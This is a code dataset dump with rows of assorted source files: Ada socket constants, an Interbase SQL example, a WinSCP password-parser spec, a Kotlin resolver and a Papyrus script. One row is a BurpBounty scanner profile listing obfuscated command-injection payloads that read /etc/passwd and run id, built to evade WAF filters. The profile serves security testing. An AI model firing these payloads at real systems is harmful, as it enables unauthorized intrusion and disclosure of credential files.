+-- ware Foundation; either version 2, or (at your option) any later ver- --
+-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
+-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
+-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
+-- for more details. You should have received a copy of the GNU General --
+-- Public License distributed with GNAT; see file COPYING. If not, write --
+-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
+-- Boston, MA 02110-1301, USA. --
+-- --
+-- As a special exception, if other files instantiate generics from this --
+-- unit, or you link this unit with other files to produce an executable, --
+-- this unit does not by itself cause the resulting executable to be --
+-- covered by the GNU General Public License. This exception does not --
+-- however invalidate any other reasons why the executable file might be --
+-- covered by the GNU Public License. --
+-- --
+-- GNAT was originally developed by the GNAT team at New York University. --
+-- Extensive contributions were provided by Ada Core Technologies Inc. --
+-- --
+------------------------------------------------------------------------------
+
+-- This package provides target dependent definitions of constant for use
+-- by the GNAT.Sockets package (g-socket.ads). This package should not be
+-- directly with'ed by an applications program.
+
+-- This is the version for mips-linux, manually edited for the first shot
+-- no mips hardware at hand
+-- using http://www.gelato.unsw.edu.au/lxr/source/include/asm-mips/socket.h
+-- in order to find differents values
+-- This file is generated automatically, do not modify it by hand! Instead,
+-- make changes to gen-soccon.c and re-run it on each target.
+
+package GNAT.Sockets.Constants is
+
+ --------------
+ -- Families --
+ --------------
+
+ AF_INET : constant := 2; -- IPv4 address family
+ AF_INET6 : constant := 10; -- IPv6 address family
+
+ -----------
+ -- Modes --
+ -----------
+
+ SOCK_STREAM : constant := 1; -- Stream socket
+ SOCK_DGRAM : constant := 2; -- Datagram socket
+
+ -------------------
+ -- Socket errors --
+ -------------------
+
+ EACCES : constant := 13; -- Permission denied
+ EADDRINUSE : constant := 98; -- Address already in use
+ EADDRNOTAVAIL : constant := 99; -- Cannot assign address
+ EAFNOSUPPORT : constant := 97; -- Addr family not supported
+ EALREADY : constant := 114; -- Operation in progress
+ EBADF : constant := 9; -- Bad file descriptor
+ ECONNABORTED : constant := 103; -- Connection aborted
+ ECONNREFUSED : constant := 111; -- Connection refused
+ ECONNRESET : constant := 104; -- Connection reset by peer
+ EDESTADDRREQ : constant := 89; -- Destination addr required
+ EFAULT : constant := 14; -- Bad address
+ EHOSTDOWN : constant := 112; -- Host is down
+ EHOSTUNREACH : constant := 113; -- No route to host
+ EINPROGRESS : constant := 115; -- Operation now in progress
+ EINTR : constant := 4; -- Interrupted system call
+ EINVAL : constant := 22; -- Invalid argument
+ EIO : constant := 5; -- Input output error
+ EISCONN : constant := 106; -- Socket already connected
+ ELOOP : constant := 40; -- Too many symbolic lynks
+ EMFILE : constant := 24; -- Too many open files
+ EMSGSIZE : constant := 90; -- Message too long
+ ENAMETOOLONG : constant := 36; -- Name too long
+ ENETDOWN : constant := 100; -- Network is down
+ ENETRESET : constant := 102; -- Disconn. on network reset
+ ENETUNREACH : constant := 101; -- Network is unreachable
+ ENOBUFS : constant := 105; -- No buffer space available
+ ENOPROTOOPT : constant := 92; -- Protocol not available
+ ENOTCONN : constant := 107; -- Socket not connected
+ ENOTSOCK : constant := 88; -- Operation on non socket
+ EOPNOTSUPP : constant := 95; -- Operation not supported
+ EPFNOSUPPORT : constant := 96; -- Unknown protocol family
+ EPROTONOSUPPORT : constant := 93; -- Unknown protocol
+ EPROTOTYPE : constant := 91; -- Unknown protocol type
+ ESHUTDOWN : constant := 108; -- Cannot send once shutdown
+ ESOCKTNOSUPPORT : constant := 94; -- Socket type not supported
+ ETIMEDOUT : constant := 110; -- Connection timed out
+ ETOOMANYREFS : constant := 109; -- Too many references
+ EWOULDBLOCK : constant := 11; -- Operation would block
+
+ -----------------
+ -- Host errors --
+ -----------------
+
+ HOST_NOT_FOUND : constant := 1; -- Unknown host
+ TRY_AGAIN : constant := 2; -- Host name lookup failure
+ NO_DATA : constant := 4; -- No data record for name
+ NO_RECOVERY : constant := 3; -- Non recoverable errors
+
+ -------------------
+ -- Control flags --
+ -------------------
+
+ FIONBIO : constant := 16#667e#; -- Set/clear non-blocking io
+ FIONREAD : constant := 16#467f#; -- How many bytes to read
+
+ --------------------
+ -- Shutdown modes --
+ --------------------
+
+ SHUT_RD : constant := 0; -- No more recv
+ SHUT_WR : constant := 1; -- No more send
+ SHUT_RDWR : constant := 2; -- No more recv/send
+
+ ---------------------
+ -- Protocol levels --
+ ---------------------
+
+ SOL_SOCKET : constant := 1; -- Options for socket level
+ IPPROTO_IP : constant := 0; -- Dummy protocol for IP
+ IPPROTO_UDP : constant := 17; -- UDP
+ IPPROTO_TCP : constant := 6; -- TCP
+
+ -------------------
+ -- Request flags --
+ -------------------
+
+ MSG_OOB : constant := 1; -- Process out-of-band data
+ MSG_PEEK : constant := 2; -- Peek at incoming data
+ MSG_EOR : constant := 128; -- Send end of record
+ MSG_WAITALL : constant := 256; -- Wait for full reception
+ MSG_NOSIGNAL : constant := 16384; -- No SIGPIPE on send
+ MSG_Forced_Flags : constant := MSG_NOSIGNAL;
+ -- Flags set on all send(2) calls
+
+ --------------------
+ -- Socket options --
+ --------------------
+
+ TCP_NODELAY : constant := 1; -- Do not coalesce packets
+ SO_REUSEADDR : constant := 4; -- Bind reuse local address
+ SO_KEEPALIVE : constant := 8; -- Enable keep-alive msgs
+ SO_LINGER : constant := 16#80#; -- Defer close to flush data
+ SO_BROADCAST : constant := 16#20#; -- Can send broadcast msgs
+ SO_SNDBUF : constant := 16#1001#; -- Set/get send buffer size
+ SO_RCVBUF : constant := 16#1002#; -- Set/get recv buffer size
+ SO_SNDTIMEO : constant := 16#1005#; -- Emission timeout
+ SO_RCVTIMEO : constant := 16#1006#; -- Reception timeout
+ SO_ERROR : constant := 16#1007#; -- Get/clear error status
+ IP_MULTICAST_IF : constant := 32; -- Set/get mcast interface
+ IP_MULTICAST_TTL : constant := 33; -- Set/get multicast TTL
+ IP_MULTICAST_LOOP : constant := 34; -- Set/get mcast loopback
+ IP_ADD_MEMBERSHIP : constant := 35; -- Join a multicast group
+ IP_DROP_MEMBERSHIP : constant := 36; -- Leave a multicast group
+
+ -------------------
+ -- System limits --
+ -------------------
+
+ IOV_MAX : constant := 2147483647; -- Maximum writev iovcnt
+
+ ----------------------
+ -- Type definitions --
+ ----------------------
+
+ -- Sizes (in bytes) of the components of struct timeval
+
+ SIZEOF_tv_sec : constant := 4; -- tv_sec
+ SIZEOF_tv_usec : constant := 4; -- tv_usec
+
+end GNAT.Sockets.Constants;
| Darcs Patch | 5 | JrCs/opendreambox | recipes/gcc/gcc-4.3.4/debian/ada-sjlj.dpatch | [
"MIT"
] |
/*
* Program type: Embedded Dynamic SQL
*
* Description:
* This program updates departments' budgets, given
* the department and the new budget information parameters.
*
* An input SQLDA is allocated for the update query
* with parameter markers.
* The contents of this file are subject to the Interbase Public
* License Version 1.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy
* of the License at http://www.Inprise.com/IPL.html
*
* Software distributed under the License is distributed on an
* "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
* or implied. See the License for the specific language governing
* rights and limitations under the License.
*
* The Original Code was created by Inprise Corporation
* and its predecessors. Portions created by Inprise Corporation are
* Copyright (C) Inprise Corporation.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*/
#include "example.h"
#include <stdlib.h>
#include <string.h>
int get_input (char *dept_no, double *percent);
static char *Dept_data[] =
{"622", "100", "116", "900", 0};
static double Percent_data[] =
{0.05, 1.00, 0.075, 0.10, 0};
int Input_ptr = 0;
char Db_name[128];
EXEC SQL
SET DATABASE empdb = "employee.fdb" RUNTIME :Db_name;
char *upd_str =
"UPDATE department SET budget = ? * budget + budget WHERE dept_no = ?";
int main(int argc, char** argv)
{
BASED_ON department.dept_no dept_no;
double percent_inc;
short nullind = 0;
XSQLDA *sqlda;
if (argc > 1)
strcpy(Db_name, argv[1]);
else
strcpy(Db_name, "employee.fdb");
EXEC SQL
WHENEVER SQLERROR GO TO Error;
EXEC SQL
CONNECT empdb;
EXEC SQL
SET TRANSACTION USING empdb;
/* Allocate an input SQLDA. There are two unknown parameters. */
sqlda = (XSQLDA *) malloc(XSQLDA_LENGTH(2));
sqlda->sqln = 2;
sqlda->sqld = 2;
sqlda->version = 1;
/* Prepare the query. */
EXEC SQL
PREPARE q FROM :upd_str;
/* Prepare the input sqlda, only data and indicator to set */
EXEC SQL
DESCRIBE INPUT q USING SQL DESCRIPTOR sqlda;
sqlda->sqlvar[0].sqldata = (char *) &percent_inc;
sqlda->sqlvar[0].sqlind = &nullind;
sqlda->sqlvar[1].sqldata = dept_no;
/* FOrce the type to char instead of varchar */
sqlda->sqlvar[1].sqltype = SQL_TEXT +1;
sqlda->sqlvar[1].sqlind = &nullind;
/* Expect an error, trap it */
EXEC SQL WHENEVER SQLERROR CONTINUE;
/*
* Get the next department-percent increase input pair.
*/
while (get_input(dept_no, &percent_inc))
{
printf("\nIncreasing budget for department: %s by %5.2f percent.\n",
dept_no, percent_inc);
/* Update the budget. */
EXEC SQL
EXECUTE q USING SQL DESCRIPTOR sqlda;
/* Don't save the update, if the new budget exceeds
** the limit. Detect an integrity violation
*/
if (SQLCODE == -625)
{
printf("\tExceeded budget limit -- not updated.\n");
continue;
}
/* Undo all changes, in case of an error. */
else if (SQLCODE)
goto Error;
/* Save each department's update independently. */
EXEC SQL
COMMIT RETAIN;
}
EXEC SQL
COMMIT RELEASE;
return (0);
Error:
isc_print_status(gds__status);
printf("SQLCODE=%d\n", SQLCODE);
EXEC SQL
ROLLBACK RELEASE;
EXEC SQL
DISCONNECT empdb;
free( sqlda);
return(1);
}
/*
* Get the department and percent parameters.
*/
int get_input(char* dept_no, double* percent)
{
if (Dept_data[Input_ptr] == 0)
return 0;
strcpy(dept_no, Dept_data[Input_ptr]);
if ((*percent = Percent_data[Input_ptr++]) == 0)
return 0;
return(1);
}
| Eiffel | 5 | AlexeyMochalov/firebird | examples/dyn/dyn4.e | [
"Condor-1.1"
] |
[
{
"ProfileName": "RCE-linux-Based",
"Name": "",
"Enabled": true,
"Scanner": 1,
"Author": "@Sy3Omda",
"Payloads": [
"true,;cat /e${hahaha}tc/${heywaf}pas${catchthis}swd",
"true,;cat$u /etc$u/passwd$u",
"true,;{cat,/etc/passwd}",
"true,;cat\u003c/etc/passwd",
"true,;/???/??t /???/??ss??",
"true,%0Acat%20/etc/passwd",
"true,;cat$IFS/etc/passwd",
"true,;echo${IFS}\"RCE\"${IFS}\u0026\u0026cat${IFS}/etc/passwd",
"true,;who$@ami",
"true,;w\\ho\\am\\i",
"true,;w\"h\"o\"am\"i",
"true,;w\u0027h\u0027o\u0027am\u0027i",
"true,a;id;",
"true,|/bin/ls -al",
"true,a;/usr/bin/id;"
],
"Encoder": [],
"UrlEncode": false,
"CharsToUrlEncode": "",
"Grep": [
"true,,root:x",
"true,Or,www-data"
],
"Tags": [
"PathTraversal",
"All"
],
"PayloadResponse": false,
"NotResponse": false,
"TimeOut1": "",
"TimeOut2": "",
"isTime": false,
"contentLength": "",
"iscontentLength": false,
"CaseSensitive": false,
"ExcludeHTTP": false,
"OnlyHTTP": false,
"IsContentType": false,
"ContentType": "",
"HttpResponseCode": "",
"NegativeCT": false,
"IsResponseCode": false,
"ResponseCode": "",
"NegativeRC": false,
"urlextension": "",
"isurlextension": false,
"NegativeUrlExtension": false,
"MatchType": 1,
"Scope": 0,
"RedirType": 0,
"MaxRedir": 0,
"payloadPosition": 2,
"payloadsFile": "",
"grepsFile": "",
"IssueName": "RCE-linux-Based",
"IssueSeverity": "High",
"IssueConfidence": "Certain",
"IssueDetail": "Path traversal payload: \u003cbr\u003e \u003cpayload\u003e",
"RemediationDetail": "",
"IssueBackground": "",
"RemediationBackground": "",
"Header": [],
"VariationAttributes": [],
"InsertionPointType": [
18,
65,
32,
36,
7,
1,
2,
6,
33,
5,
35,
34,
64,
0,
3,
4,
37,
127,
65,
32,
36,
7,
1,
2,
6,
33,
5,
35,
34,
64,
0,
3,
4,
37,
127
],
"Scanas": false,
"Scantype": 0,
"pathDiscovery": false
}
] | BitBake | 1 | upenderadepu/BurpBounty | profiles/RCE-linux-Based.bb | [
"Apache-2.0"
] |
/*
* Copyright (c) 2021, Ali Mohammad Pur <mpfard@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <LibWasm/AbstractMachine/Configuration.h>
namespace Wasm {
struct Interpreter {
virtual ~Interpreter() = default;
virtual void interpret(Configuration&) = 0;
virtual bool did_trap() const = 0;
virtual String trap_reason() const = 0;
virtual void clear_trap() = 0;
};
}
| C | 3 | r00ster91/serenity | Userland/Libraries/LibWasm/AbstractMachine/Interpreter.h | [
"BSD-2-Clause"
] |
/*
* Copyright 2010-2020 JetBrains s.r.o. and Kotlin Programming Language contributors.
* Use of this source code is governed by the Apache 2.0 license that can be found in the license/LICENSE.txt file.
*/
package org.jetbrains.kotlin.library
import org.jetbrains.kotlin.konan.file.File
import org.jetbrains.kotlin.konan.file.file
import org.jetbrains.kotlin.konan.file.withZipFileSystem
import org.jetbrains.kotlin.library.impl.createKotlinLibrary
import org.jetbrains.kotlin.util.Logger
import java.io.IOException
/**
* Resolves KLIB library by making sure that the library has 1.4+ layout with exactly one component.
* If it is not, then [resolve] does not fail and returns a fake [KotlinLibrary] instance with nonexistent component that can be
* treated by the callee but can't be read.
*
* The given library path is assumed to be absolute and pointing to the real KLIB.
* It's the responsibility of the callee to check this condition in the appropriate way.
*
* [ToolingSingleFileKlibResolveStrategy] does not perform any ABI or metadata version compatibility checks.
* It's the responsibility of the callee to check library versions in the appropriate way.
*
* Typical usage scenario: IDE.
*/
object ToolingSingleFileKlibResolveStrategy : SingleFileKlibResolveStrategy {
override fun resolve(libraryFile: File, logger: Logger): KotlinLibrary =
withSafeAccess(libraryFile) { localRoot ->
if (localRoot.looksLikeKlibComponent) {
// old style library
null
} else {
val components = localRoot.listFiles.filter { it.looksLikeKlibComponent }
when (components.size) {
0 -> null
1 -> {
// single component library
createKotlinLibrary(libraryFile, components.single().name)
}
else -> { // TODO: choose the best fit among all available candidates
// mimic as old style library and warn
logger.warning("Library $libraryFile can not be read. Multiple components found: ${components.map {
it.path.substringAfter(localRoot.path)
}}")
null
}
}
}
} ?: fakeLibrary(libraryFile)
private const val NONEXISTENT_COMPONENT_NAME = "__nonexistent_component_name__"
private fun fakeLibrary(libraryFile: File): KotlinLibrary = createKotlinLibrary(libraryFile, NONEXISTENT_COMPONENT_NAME)
private fun <T : Any> withSafeAccess(libraryFile: File, action: (localRoot: File) -> T?): T? {
val extension = libraryFile.extension
val wrappedAction: () -> T? = when {
libraryFile.isDirectory -> {
{ action(libraryFile) }
}
libraryFile.isFile && extension == KLIB_FILE_EXTENSION -> {
{ libraryFile.withZipFileSystem { fs -> action(fs.file("/")) } }
}
else -> return null
}
return try {
wrappedAction()
} catch (_: IOException) {
null
}
}
private val File.looksLikeKlibComponent: Boolean
get() = child(KLIB_MANIFEST_FILE_NAME).isFile
}
| Kotlin | 5 | Mu-L/kotlin | compiler/util-klib/src/org/jetbrains/kotlin/library/ToolingResolve.kt | [
"ECL-2.0",
"Apache-2.0"
] |
INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n"
USERNAME = 'username'
HOST = 'server.feralhosting.com'
PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B'
SAMPLE_INI = <<-END
[Sessions\\username@server.feralhosting.com]
HostName=#{HOST}
Timeout=6000
SshProt=3
UserName=#{USERNAME}
UpdateDirectories=0
Utf=1
Password=#{PASSWORD}
Shell=/bin/bash}
END
RSpec.describe Rex::Parser::WinSCP do
let(:target) do
d = Class.new { include Rex::Parser::WinSCP }
d.new
end
context "#parse_protocol" do
it "returns 'Unknown' for unknown protocols" do
expect(target.parse_protocol(nil)).to eq('Unknown')
expect(target.parse_protocol(99)).to eq('Unknown')
expect(target.parse_protocol('stuff')).to eq('Unknown')
end
it "returns 'SSH' for protocol 0" do
expect(target.parse_protocol(0)).to eq('SSH')
end
it "returns 'FTP' for protocol 5" do
expect(target.parse_protocol(5)).to eq('FTP')
end
end
context "#decrypt_next_char" do
it "returns 0 and the pwd if pwd length <= 0" do
r, pwd = target.decrypt_next_char('')
expect(r).to eq(0)
expect(pwd).to eq('')
end
it "strips the first two characters from the return value" do
_, pwd = target.decrypt_next_char('A3')
expect(pwd).to eq('')
end
it "returns 255 for 'A3'" do
r, _ = target.decrypt_next_char('A3')
expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG)
end
end
context "#decrypt_password" do
it "returns 'sdfsdfgsggg' for the example password" do
expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg')
end
end
context "#parse_ini" do
it "raises a RuntimeError if ini is nil or empty" do
expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i)
expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i)
end
it "raises a RuntimeError if UseMasterPassword is 1" do
expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i)
end
it "parses the example ini" do
r = target.parse_ini(SAMPLE_INI).first
expect(r[:hostname]).to eq(HOST)
expect(r[:password]).to eq('sdfsdfgsggg')
expect(r[:username]).to eq(USERNAME)
expect(r[:protocol]).to eq('SSH')
expect(r[:portnumber]).to eq(22)
end
end
context "#read_and_parse_ini" do
it "returns nil if file is empty or doesn't exist" do
expect(File).to receive(:read).and_return(nil)
expect(target.read_and_parse_ini('blah')).to be nil
end
it "parses the example ini and return a single result" do
expect(File).to receive(:read).and_return(SAMPLE_INI)
expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1
end
end
end
| Ruby | 4 | OsmanDere/metasploit-framework | spec/lib/rex/parser/winscp_spec.rb | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
scriptname _DE_Tent_PreventFallThrough extends ObjectReference
Event OnContainerChanged(ObjectReference akNewContainer, ObjectReference akOldContainer)
if !akNewContainer && akOldContainer == Game.GetPlayer() && Game.GetPlayer().IsInInterior()
float myZ = self.GetPositionZ()
self.MoveTo(self, afZOffset = 100.0)
endif
endEvent | Papyrus | 3 | chesko256/Campfire | Scripts/Source/_DE_Tent_PreventFallThrough.psc | [
"MIT"
] |
pub const Integer = u32;
| Zig | 1 | aruniiird/zig | test/stage1/behavior/bugs/655_other_file.zig | [
"MIT"
] |
.line[data-v-35af5ff9]{text-align:center} | CSS | 1 | yuanweikang2020/canal | admin/admin-web/src/main/resources/public/static/css/chunk-98f505d0.5280f88f.css | [
"Apache-2.0"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.